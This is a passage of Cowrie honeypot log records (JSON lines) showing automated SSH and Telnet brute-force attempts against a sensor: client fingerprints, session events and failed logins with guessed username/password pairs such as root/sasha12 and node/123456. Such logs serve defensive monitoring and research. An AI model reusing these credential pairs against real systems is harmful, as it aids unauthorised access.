cm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:27.562308Z","src_ip":"176.65.132.129","session":"799fd507a23a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"palworld","password":"palworld","message":"login attempt [palworld/palworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:27.816476Z","src_ip":"176.65.132.129","session":"799fd507a23a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sasha12","message":"login attempt [root/sasha12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:28.267776Z","src_ip":"103.122.221.179","session":"257aa48665ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:28.901735Z","src_ip":"176.65.132.129","session":"799fd507a23a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.132.125.41","src_port":37258,"dst_ip":"159.203.135.109","dst_port":22,"session":"524cb117280a","protocol":"ssh","message":"New connection: 45.132.125.41:37258 (159.203.135.109:22) [session: 524cb117280a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:29.487174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:29.493322Z","src_ip":"45.132.125.41","session":"524cb117280a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:29.526487Z","src_ip":"103.122.221.179","session":"257aa48665ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:29.596557Z","src_ip":"45.132.125.41","session":"524cb117280a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2029","message":"login attempt [root/2029] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:30.039160Z","src_ip":"45.132.125.41","session":"524cb117280a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40540,"dst_ip":"159.203.135.109","dst_port":22,"session":"f703e0342c8e","protocol":"ssh","message":"New connection: 176.65.132.129:40540 (159.203.135.109:22) [session: f703e0342c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:30.740084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:30.760917Z","src_ip":"176.65.132.129","session":"f703e0342c8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:30.844891Z","src_ip":"176.65.132.129","session":"f703e0342c8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:31.145521Z","src_ip":"45.132.125.41","session":"524cb117280a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49728,"dst_ip":"10.17.0.5","dst_port":23,"session":"59938c7c26df","protocol":"telnet","message":"New connection: 152.42.224.71:49728 (10.17.0.5:23) [session: 59938c7c26df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:31.205374Z"}
{"eventid":"cowrie.login.failed","username":"node","password":"123456","message":"login attempt [node/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:31.221959Z","src_ip":"176.65.132.129","session":"f703e0342c8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49740,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a3b0dbba9a3","protocol":"telnet","message":"New connection: 152.42.224.71:49740 (10.17.0.5:23) [session: 4a3b0dbba9a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:32.012196Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:32.307792Z","src_ip":"176.65.132.129","session":"f703e0342c8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40552,"dst_ip":"159.203.135.109","dst_port":22,"session":"3964c5d69568","protocol":"ssh","message":"New connection: 176.65.132.129:40552 (159.203.135.109:22) [session: 3964c5d69568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:34.088422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:34.093313Z","src_ip":"176.65.132.129","session":"3964c5d69568","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:34.175695Z","src_ip":"176.65.132.129","session":"3964c5d69568","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"work","password":"work","message":"login attempt [work/work] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:34.424676Z","src_ip":"176.65.132.129","session":"3964c5d69568","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":111.13832139968872,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:34.960859Z","src_ip":"152.42.224.71","session":"ad1f32ec32cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:35.509645Z","src_ip":"176.65.132.129","session":"3964c5d69568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36262,"dst_ip":"159.203.135.109","dst_port":22,"session":"0977fce79aff","protocol":"ssh","message":"New connection: 176.65.132.129:36262 (159.203.135.109:22) [session: 0977fce79aff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:37.325454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:37.329915Z","src_ip":"176.65.132.129","session":"0977fce79aff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:37.411828Z","src_ip":"176.65.132.129","session":"0977fce79aff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwert","message":"login attempt [root/12345qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:37.659532Z","src_ip":"176.65.132.129","session":"0977fce79aff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.54.176.203","src_port":55332,"dst_ip":"159.203.135.109","dst_port":22,"session":"37e47b029fbe","protocol":"ssh","message":"New connection: 62.54.176.203:55332 (159.203.135.109:22) [session: 37e47b029fbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:38.104839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:38.110136Z","src_ip":"62.54.176.203","session":"37e47b029fbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:38.210093Z","src_ip":"62.54.176.203","session":"37e47b029fbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53010,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e54105a5fbf","protocol":"telnet","message":"New connection: 152.42.224.71:53010 (10.17.0.5:23) [session: 4e54105a5fbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:38.218740Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":38712,"dst_ip":"159.203.135.109","dst_port":22,"session":"92b0e84487dd","protocol":"ssh","message":"New connection: 23.249.28.115:38712 (159.203.135.109:22) [session: 92b0e84487dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:38.430952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:38.436940Z","src_ip":"23.249.28.115","session":"92b0e84487dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.70927357673645,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:38.538442Z","src_ip":"152.42.224.71","session":"e0e33632573e","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:38.629525Z","src_ip":"23.249.28.115","session":"92b0e84487dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"saitoh","message":"login attempt [root/saitoh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:38.749746Z","src_ip":"62.54.176.203","session":"37e47b029fbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:38.865455Z","src_ip":"176.65.132.129","session":"0977fce79aff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"history","message":"login attempt [root/history] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:39.431654Z","src_ip":"23.249.28.115","session":"92b0e84487dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:39.855776Z","src_ip":"62.54.176.203","session":"37e47b029fbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36278,"dst_ip":"159.203.135.109","dst_port":22,"session":"43cd569e9f60","protocol":"ssh","message":"New connection: 176.65.132.129:36278 (159.203.135.109:22) [session: 43cd569e9f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:40.541849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:40.547326Z","src_ip":"176.65.132.129","session":"43cd569e9f60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:40.626651Z","src_ip":"23.249.28.115","session":"92b0e84487dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:40.633824Z","src_ip":"176.65.132.129","session":"43cd569e9f60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:40.880605Z","src_ip":"176.65.132.129","session":"43cd569e9f60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:41.966172Z","src_ip":"176.65.132.129","session":"43cd569e9f60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.135.168.228","src_port":54655,"dst_ip":"159.203.135.109","dst_port":22,"session":"261ba4bc77d6","protocol":"ssh","message":"New connection: 213.135.168.228:54655 (159.203.135.109:22) [session: 261ba4bc77d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:42.917729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:42.923383Z","src_ip":"213.135.168.228","session":"261ba4bc77d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","